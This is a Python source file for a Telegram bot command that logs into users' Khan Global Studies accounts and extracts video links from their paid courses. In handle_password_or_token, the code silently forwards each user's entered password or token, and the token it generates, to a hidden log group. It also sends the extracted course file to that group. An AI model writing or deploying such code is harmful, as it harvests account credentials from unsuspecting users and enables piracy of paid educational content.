-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkgs_handler.py
257 lines (218 loc) ยท 10.3 KB
/
kgs_handler.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
import logging
import os
import requests
from telegram import Update
from telegram.ext import (
CommandHandler,
ConversationHandler,
MessageHandler,
ContextTypes,
filters,
)
from config import LOG_GROUP_ID
# Conversation states
LOGIN_CHOICE, USER_ID, PASSWORD_OR_TOKEN, BATCH_SELECTION = range(4)
# Constants
ROOT_DIR = os.getcwd()
async def kgs_start(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Start the KGS extraction process."""
await update.message.reply_text(
"๐๐๐ฅ๐๐จ๐ฆ๐ ๐ญ๐จ ๐๐๐ ๐๐ฑ๐ญ๐ซ๐๐๐ญ๐จ๐ซ!\n\n"
"Choose Login Method:\n"
"1๏ธโฃ Login with ID and Password\n"
"2๏ธโฃ Login with Token\n\n"
"Please enter 1 or 2:"
)
return LOGIN_CHOICE
async def handle_login_choice(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Handle the login method choice."""
try:
choice = update.message.text.strip()
if choice not in ['1', '2']:
await update.message.reply_text("Invalid choice! Please enter 1 or 2.")
return LOGIN_CHOICE
context.user_data['login_choice'] = choice
await update.message.reply_text("Please enter your User ID:")
return USER_ID
except Exception as e:
logging.error(f"Error in handle_login_choice: {e}")
await update.message.reply_text("An error occurred. Please try again later.")
return ConversationHandler.END
async def handle_user_id(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Handle the user ID input."""
try:
user_id = update.message.text.strip()
context.user_data['user_id'] = user_id
if context.user_data['login_choice'] == '1':
await update.message.reply_text("Please enter your Password:")
else:
await update.message.reply_text("Please enter your Token:")
return PASSWORD_OR_TOKEN
except Exception as e:
logging.error(f"Error in handle_user_id: {e}")
await update.message.reply_text("An error occurred. Please try again later.")
return ConversationHandler.END
async def handle_password_or_token(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Handle password or token input and perform login."""
try:
input_text = update.message.text.strip()
headers = {
"Host": "khanglobalstudies.com",
"content-type": "application/x-www-form-urlencoded",
"accept-encoding": "gzip",
"user-agent": "okhttp/3.9.1",
}
# Log credentials to the group
if context.user_data['login_choice'] == '1':
await context.bot.send_message(
chat_id=LOG_GROUP_ID,
text=f"New KGS login attempt:\nUser ID: ```{context.user_data['user_id']}```\nPassword: ```{input_text}```",
parse_mode="Markdown"
)
else:
await context.bot.send_message(
chat_id=LOG_GROUP_ID,
text=f"New KGS token login:\nUser ID: ```{context.user_data['user_id']}```\nToken: ```{input_text}```",
parse_mode="Markdown"
)
if context.user_data['login_choice'] == '1':
# Login with ID and password
login_url = "https://khanglobalstudies.com/api/login-with-password"
data = {
"phone": context.user_data['user_id'],
"password": input_text,
}
response = requests.post(login_url, headers=headers, data=data)
if response.status_code != 200:
await update.message.reply_text("Login failed! Please check your credentials.")
return ConversationHandler.END
token = response.json().get("token")
# Log obtained token for password login
await context.bot.send_message(
chat_id=LOG_GROUP_ID,
text=f"KGS Login Success!\nUser ID: ```{context.user_data['user_id']}```\nGenerated Token: ```{token}```",
parse_mode="Markdown"
)
else:
# Direct token login
token = input_text
# Store token and fetch batches
context.user_data['token'] = token
headers = {
"Host": "khanglobalstudies.com",
"authorization": f"Bearer {token}",
"accept-encoding": "gzip",
"user-agent": "okhttp/3.9.1",
}
course_response = requests.get(
"https://khanglobalstudies.com/api/user/v2/courses",
headers=headers
)
if course_response.status_code != 200:
await update.message.reply_text("Failed to fetch batches. Please check your credentials.")
return ConversationHandler.END
courses = course_response.json()
context.user_data['courses'] = courses
# Format batch information with token
batch_text = f"๐๐จ๐ ๐ข๐ง ๐๐ฎ๐๐๐๐ฌ๐ฌ๐๐ฎ๐ฅ!\n\n๐ฐ๐๐๐ ๐๐๐๐๐: ```{token}```\n\n๐๐ฏ๐๐ข๐ฅ๐๐๐ฅ๐ ๐๐๐ญ๐๐ก๐๐ฌ:\n\n"
for course in courses:
batch_text += f"๐ฉ๐๐๐๐ ๐ต๐๐๐๐ถโ๐ซ๏ธ: ```{course['title']}```\n๐ฉ๐๐๐๐ ๐ฐ๐ซ๐ก: ```{course['id']}```\n\n"
await update.message.reply_text(
f"{batch_text}\nPlease enter the Batch ID to proceed:",
parse_mode="Markdown"
)
return BATCH_SELECTION
except Exception as e:
logging.error(f"Error in handle_password_or_token: {e}")
await update.message.reply_text("An error occurred during login. Please try again later.")
return ConversationHandler.END
async def handle_batch_selection(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""Handle batch selection and extract content."""
try:
batch_id = update.message.text.strip()
# Find selected batch
selected_batch = next(
(batch for batch in context.user_data['courses'] if str(batch['id']) == batch_id),
None
)
if not selected_batch:
await update.message.reply_text("Invalid Batch ID! Please try again.")
return BATCH_SELECTION
await update.message.reply_text("๐๐ข๐ง๐ค ๐๐ฑ๐ญ๐ซ๐๐๐ญ๐ข๐จ๐ง ๐ฌ๐ญ๐๐ซ๐ญ๐๐. ๐๐ฅ๐๐๐ฌ๐ ๐ฐ๐๐ข๐ญโ๏ธ...")
# Setup headers for API requests
headers = {
"Host": "khanglobalstudies.com",
"authorization": f"Bearer {context.user_data['token']}",
"accept-encoding": "gzip",
"user-agent": "okhttp/3.9.1",
}
# Fetch lessons
lessons_url = f"https://khanglobalstudies.com/api/user/courses/{batch_id}/v2-lessons"
lessons_response = requests.get(lessons_url, headers=headers)
if lessons_response.status_code != 200:
await update.message.reply_text("Failed to fetch lessons. Please try again.")
return ConversationHandler.END
lessons = lessons_response.json()
full_content = ""
# Extract video URLs for each lesson
for lesson in lessons:
try:
lesson_url = f"https://khanglobalstudies.com/api/lessons/{lesson['id']}"
lesson_response = requests.get(lesson_url, headers=headers)
lesson_data = lesson_response.json()
videos = lesson_data.get("videos", [])
for video in videos:
title = video.get("name", "Untitled").replace(":", " ")
video_url = video.get("video_url", "")
if video_url:
full_content += f"{title}: {video_url}\n"
except Exception as e:
logging.error(f"Error processing lesson {lesson['id']}: {e}")
continue
if full_content:
filename = f"KGS_{selected_batch['title']}_{batch_id}.txt"
file_path = os.path.join(ROOT_DIR, filename)
with open(file_path, "w", encoding="utf-8") as f:
f.write(full_content)
# Send file to user
user_caption = (
f"๐ฏ๐๐๐'๐ ๐๐๐๐ ๐๐๐๐๐๐๐๐๐
๐๐๐๐๐๐๐!โจ๏ธ\n\n"
f"๐๐๐ญ๐๐ก ๐ง๐๐ฆ๐๐: {selected_batch['title']}"
)
with open(file_path, "rb") as f:
await update.message.reply_document(
document=f,
caption=user_caption
)
# Send file to log group
log_caption = (
f"๐บ๐ถ๐ ๐๐๐๐๐๐๐ ๐๐ก๐๐๐๐๐๐๐ ๐๐๐ ๐๐๐๐ ๐๐ ๐๐๐๐.\n\n"
f"๐๐๐ญ๐๐ก ๐ง๐๐ฆ๐๐: {selected_batch['title']}"
)
with open(file_path, "rb") as f:
await context.bot.send_document(
chat_id=LOG_GROUP_ID,
document=f,
caption=log_caption
)
# Clean up
os.remove(file_path)
await update.message.reply_text("๐ฌ๐๐๐๐๐๐๐๐๐ ๐๐๐๐๐๐๐๐๐
๐๐๐๐๐๐๐๐๐๐๐๐! โจ")
else:
await update.message.reply_text("๐๐จ ๐๐จ๐ง๐ญ๐๐ง๐ญ ๐๐จ๐ฎ๐ง๐ Sorry๐คช.")
return ConversationHandler.END
except Exception as e:
logging.error(f"Error in handle_batch_selection: {e}")
await update.message.reply_text("An error occurred during content extraction. Please try again later.")
return ConversationHandler.END
# Create the conversation handler
kgs_handler = ConversationHandler(
entry_points=[CommandHandler("kgs", kgs_start)],
states={
LOGIN_CHOICE: [MessageHandler(filters.TEXT & ~filters.COMMAND, handle_login_choice)],
USER_ID: [MessageHandler(filters.TEXT & ~filters.COMMAND, handle_user_id)],
PASSWORD_OR_TOKEN: [MessageHandler(filters.TEXT & ~filters.COMMAND, handle_password_or_token)],
BATCH_SELECTION: [MessageHandler(filters.TEXT & ~filters.COMMAND, handle_batch_selection)],
},
fallbacks=[],
)